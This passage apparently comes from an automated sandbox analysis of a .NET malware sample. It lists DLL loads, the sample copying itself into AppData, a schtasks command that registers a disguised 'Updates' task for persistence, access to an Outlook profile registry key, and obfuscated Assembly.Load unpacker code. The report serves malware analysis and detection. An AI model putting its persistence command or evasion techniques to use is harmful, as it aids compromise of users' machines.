Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp8686.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"	Jump to behavior

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 2i3Lj7a8Gk.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 2i3Lj7a8Gk.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 2i3Lj7a8Gk.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: OQhQ.pdb source: 2i3Lj7a8Gk.exe, lyNyKapwZJLKnn.exe.0.dr
Source:	Binary string: OQhQ.pdbSHA256 source: 2i3Lj7a8Gk.exe, lyNyKapwZJLKnn.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.2i3Lj7a8Gk.exe.3b11ea0.4.raw.unpack, MainForm.cs	.Net Code: _200E_200C_200B_202B_202E_200E_200E_202D_200B_206C_202C_202B_200B_200F_200E_206F_206C_202C_202D_200E_206E_206E_200C_206D_202C_200B_200E_202B_200B_206A_202E_206A_202E_206E_206E_206A_206C_206A_206F_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.2i3Lj7a8Gk.exe.3af9c80.1.raw.unpack, MainForm.cs	.Net Code: _200E_200C_200B_202B_202E_200E_200E_202D_200B_206C_202C_202B_200B_200F_200E_206F_206C_202C_202D_200E_206E_206E_200C_206D_202C_200B_200E_202B_200B_206A_202E_206A_202E_206E_206E_206A_206C_206A_206F_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, DuMROSxCmqfhBtrcL3.cs	.Net Code: yQoVNRtol6 System.Reflection.Assembly.Load(byte[])
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, DuMROSxCmqfhBtrcL3.cs	.Net Code: yQoVNRtol6 System.Reflection.Assembly.Load(byte[])
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, DuMROSxCmqfhBtrcL3.cs	.Net Code: yQoVNRtol6 System.Reflection.Assembly.Load(byte[])
Source: 0.2.2i3Lj7a8Gk.exe.77b0000.6.raw.unpack, MainForm.cs	.Net Code: _200E_200C_200B_202B_202E_200E_200E_202D_200B_206C_202C_202B_200B_200F_200E_206F_206C_202C_202D_200E_206E_206E_200C_206D_202C_200B_200E_202B_200B_206A_202E_206A_202E_206E_206E_206A_206C_206A_206F_202E_202E System.Reflection.Assembly.Load(byte[])

Source: 2i3Lj7a8Gk.exe

Static PE information: 0xD4D79B6B [Fri Feb 26 20:36:59 2083 UTC]

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_0110DB28 pushad ; retf	0_2_0110DB29
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FDD010 pushad ; ret	0_2_06FDD011
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FDD012 push eax; ret	0_2_06FDD019
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_06FD08C5 push es; ret	0_2_06FD08DC
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 0_2_070918B4 push dword ptr [edx+ebp*2-75h]; iretd	0_2_070918BF
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF87E7 pushad ; iretd	6_2_06CF87EA
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF878F push esi; iretd	6_2_06CF8792
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF875F push edx; iretd	6_2_06CF8762
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF8753 push edx; iretd	6_2_06CF875E
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF8767 push bx; iretd	6_2_06CF876E
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF8765 push edx; iretd	6_2_06CF8766
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF877B push ebx; iretd	6_2_06CF877E
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF9241 push es; ret	6_2_06CF9244
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 6_2_06CF8803 push 688706CFh; iretd	6_2_06CF8816
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 7_2_0173DB28 pushad ; retf	7_2_0173DB29
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 13_2_01149C30 push esp; retf 011Dh	13_2_01149D55

Source: 2i3Lj7a8Gk.exe	Static PE information: section name: .text entropy: 7.700449083739961
Source: lyNyKapwZJLKnn.exe.0.dr	Static PE information: section name: .text entropy: 7.700449083739961

Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, KexrhkrD0V06LqILWv.cs	High entropy of concatenated method names: 'PB3uQrUN5s', 'ESAuxQmfyf', 'Ft8udpPwvN', 'SwEuAxm5VX', 'YjpugFHsL3', 'dOduMOR807', 'AYfu2w9ufE', 'rnUuZJiMbH', 'KDquXxwMxg', 'djvuoYLc4G'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, aSN3GuMwIV9gTOVQcT.cs	High entropy of concatenated method names: 'XJGqRZ5gUq9XBaX2Ah6', 'aKdxeO5GsmH2f3jQtWL', 'HsSjF8aPw4', 'IG6jmVBUWc', 'w6ejUhrsjC', 'Oilbp05npgaCGmmIexk', 'oegjw85h56OM7JDTVJ2'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, U2rA3WVWalOxnTMMV4.cs	High entropy of concatenated method names: 'NOdPZFMp9G', 'XoTPoXLhhf', 'N0nFwaNs98', 'QtsFsR70x2', 'sPsPcy0igF', 'tEqPiwS57V', 'NF3P11vIJX', 'u82PQtf3aQ', 'CbaPxWYubw', 'chnPdWUTXZ'
